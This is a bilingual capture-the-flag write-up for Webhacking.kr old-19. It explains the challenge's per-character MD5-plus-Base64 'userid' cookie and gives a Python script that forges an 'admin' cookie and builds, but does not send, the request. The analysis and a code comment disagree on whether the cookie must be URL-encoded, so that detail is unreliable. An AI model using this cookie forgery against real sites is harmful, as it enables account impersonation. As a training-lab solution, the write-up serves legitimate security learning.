Webhacking.kr old-19

Challenge

Reconstruct the per-character MD5 cookie used by the login check.

重建登录校验使用的逐字符 MD5 Cookie。

1
https://webhacking.kr/challenge/js-6/

Analysis

服务端把 userid Cookie 解码后按以下规则生成:对 id 的每个字符单独计算 MD5,保留小写 hex digest,按原顺序拼接,最后对整个拼接字符串做 Base64 编码。Cookie 传输层还要对 Base64 结果做 URL 编码,因为结尾通常含有 =。

这不是 md5("admin"):每个字符的 digest 都必须独立计算,目标字符串的 digest 数量等于字符数量。

Solution

下面的脚本完整构造带 userid Cookie 的 GET 请求,不发送请求,也不依赖现有 session:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import base64
import hashlib
from urllib.request import Request

URL = "https://webhacking.kr/challenge/js-6/"

def build_userid_cookie(user_id):
digests = [hashlib.md5(char.encode("utf-8")).hexdigest() for char in user_id]
raw_value = "".join(digests).encode("ascii")
base64_value = base64.b64encode(raw_value).decode("ascii")
# Cookie value 不经过 query-string 的 URL encoding;保留 Base64 原值。
return base64_value

def build_request(user_id):
cookie_value = build_userid_cookie(user_id)
return Request(
URL,
headers={"Cookie": f"userid={cookie_value}"},
method="GET",
)

if __name__ == "__main__":
request = build_request("admin")
print(request.full_url)
print(request.get_header("Cookie"))

先生成 Cookie,再把它放进后续页面请求;不需要把 admin 提交到题面的输入框。